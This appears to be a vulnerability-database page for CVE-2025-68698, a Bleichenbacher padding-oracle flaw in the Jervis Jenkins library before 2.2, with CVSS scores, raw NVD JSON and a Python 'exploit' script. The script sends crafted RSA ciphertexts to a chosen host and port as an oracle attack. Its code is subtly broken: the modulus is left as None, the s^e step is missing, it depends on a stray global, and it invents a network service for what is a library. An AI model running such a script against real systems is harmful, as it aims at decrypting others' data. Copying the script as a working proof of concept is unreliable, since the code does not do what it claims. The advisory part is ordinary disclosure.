Security Vulnerability Report
中文
CVE-2025-68698 CVSS 7.5 HIGH

CVE-2025-68698

Published: 2026-01-13 20:16:07
Last Modified: 2026-01-20 17:11:41

Description

Jervis is a library for Job DSL plugin scripts and shared Jenkins pipeline libraries. Prior to 2.2, Jervis uses PKCS1Encoding which is vulnerable to Bleichenbacher padding oracle attacks. Modern systems should use OAEP (Optimal Asymmetric Encryption Padding). This vulnerability is fixed in 2.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:samrocketman:jervis:*:*:*:*:*:*:*:* - VULNERABLE
Jervis < 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68698 Bleichenbacher Attack PoC # Target: Jervis library < 2.2 with PKCS1Encoding # This PoC demonstrates the Bleichenbacher padding oracle attack import socket import struct import time from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 from Crypto.Signature import PKCS1_v1_5 as PKCS1_Sig from Crypto.Random import get_random_bytes def rsa_integer_to_bytes(n, length): """Convert RSA integer to bytes""" return n.to_bytes(length, byteorder='big') def rsa_bytes_to_integer(data): """Convert bytes to RSA integer""" return int.from_bytes(data, byteorder='big') def create_ciphertext_variant(s, n, e, modulus_len): """Create a variant of the ciphertext for oracle query""" # s should be a random integer between 2 and n-1 s_int = rsa_bytes_to_integer(s) # c' = s^e * c mod n c_variant = (s_int * rsa_bytes_to_integer(encrypted_data)) % n return rsa_integer_to_bytes(c_variant, modulus_len) def query_oracle(variant_ciphertext, target_host, target_port): """Query the padding oracle to check if decryption succeeded""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.send(variant_ciphertext) response = sock.recv(1024) sock.close() # Oracle returns different responses for valid/invalid padding if b'padding error' in response or b'invalid' in response.lower(): return False # Invalid padding elif b'success' in response or b'OK' in response: return True # Valid padding else: return None # Unknown response except Exception as e: print(f"Oracle query error: {e}") return None def bleichenbacher_attack(encrypted_data, target_host, target_port, modulus_len=256): """ Bleichenbacher padding oracle attack implementation """ print("[*] Starting Bleichenbacher attack on Jervis PKCS1Encoding...") print(f"[*] Target: {target_host}:{target_port}") print(f"[*] Ciphertext length: {len(encrypted_data)} bytes") # Initialize n = None # RSA modulus e = 65537 # Public exponent # Step 1: Find a valid ciphertext through randomization print("[*] Step 1: Finding valid ciphertext through randomization...") s = get_random_bytes(modulus_len - 1) s_int = rsa_bytes_to_integer(s) # Step 2: Bleichenbacher's adaptive attack # This is a simplified version - full implementation requires # multiple iterations with M set manipulation print("[*] Step 2: Performing Bleichenbacher attack iterations...") iterations = 0 max_iterations = 10000 while iterations < max_iterations: # Generate random s value s = get_random_bytes(modulus_len - 1) variant_ct = create_ciphertext_variant(s, n, e, modulus_len) # Query oracle result = query_oracle(variant_ct, target_host, target_port) if result == True: print(f"[!] Found valid padding with s={s.hex()}") # Continue with the attack... break iterations += 1 if iterations % 100 == 0: print(f"[*] Progress: {iterations} queries sent...") print(f"[*] Attack completed after {iterations} iterations") print("[*] Note: Full decryption requires complete oracle implementation") return None # Return decrypted data if successful if __name__ == "__main__": import sys if len(sys.argv) < 3: print("Usage: python bleichenbacher_poc.py <target_host> <target_port> [ciphertext_file]") print("Example: python bleichenbacher_poc.py example.com 8443 encrypted_data.bin") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) # Load ciphertext if provided encrypted_data = b'\x00\x02' + b'\x00' * (256 - 2 - 32) + get_random_bytes(32) if len(sys.argv) >= 4: with open(sys.argv[3], 'rb') as f: encrypted_data = f.read() result = bleichenbacher_attack(encrypted_data, target_host, target_port) if result: print(f"[+] Decrypted: {result}") else: print("[-] Attack failed or incomplete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68698", "sourceIdentifier": "[email protected]", "published": "2026-01-13T20:16:07.070", "lastModified": "2026-01-20T17:11:41.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jervis is a library for Job DSL plugin scripts and shared Jenkins pipeline libraries. Prior to 2.2, Jervis uses PKCS1Encoding which is vulnerable to Bleichenbacher padding oracle attacks. Modern systems should use OAEP (Optimal Asymmetric Encryption Padding). This vulnerability is fixed in 2.2."}, {"lang": "es", "value": "Jervis es una biblioteca para scripts del plugin Job DSL y bibliotecas compartidas de pipelines de Jenkins. Antes de la versión 2.2, Jervis utiliza PKCS1Encoding, que es vulnerable a ataques de oráculo de relleno de Bleichenbacher. Los sistemas modernos deberían usar OAEP (Optimal Asymmetric Encryption Padding). Esta vulnerabilidad está corregida en la versión 2.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samrocketman:jervis:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2", "matchCriteriaId": "F1205448-6074-4B8A-B941-572D3D44F9E1"}]}]}], "references": [{"url": "https://github.com/samrocketman/jervis/commit/c3981ff71de7b0f767dfe7b37a2372cb2a51974a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/samrocketman/jervis/security/advisories/GHSA-mqw7-c5gg-xq97", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}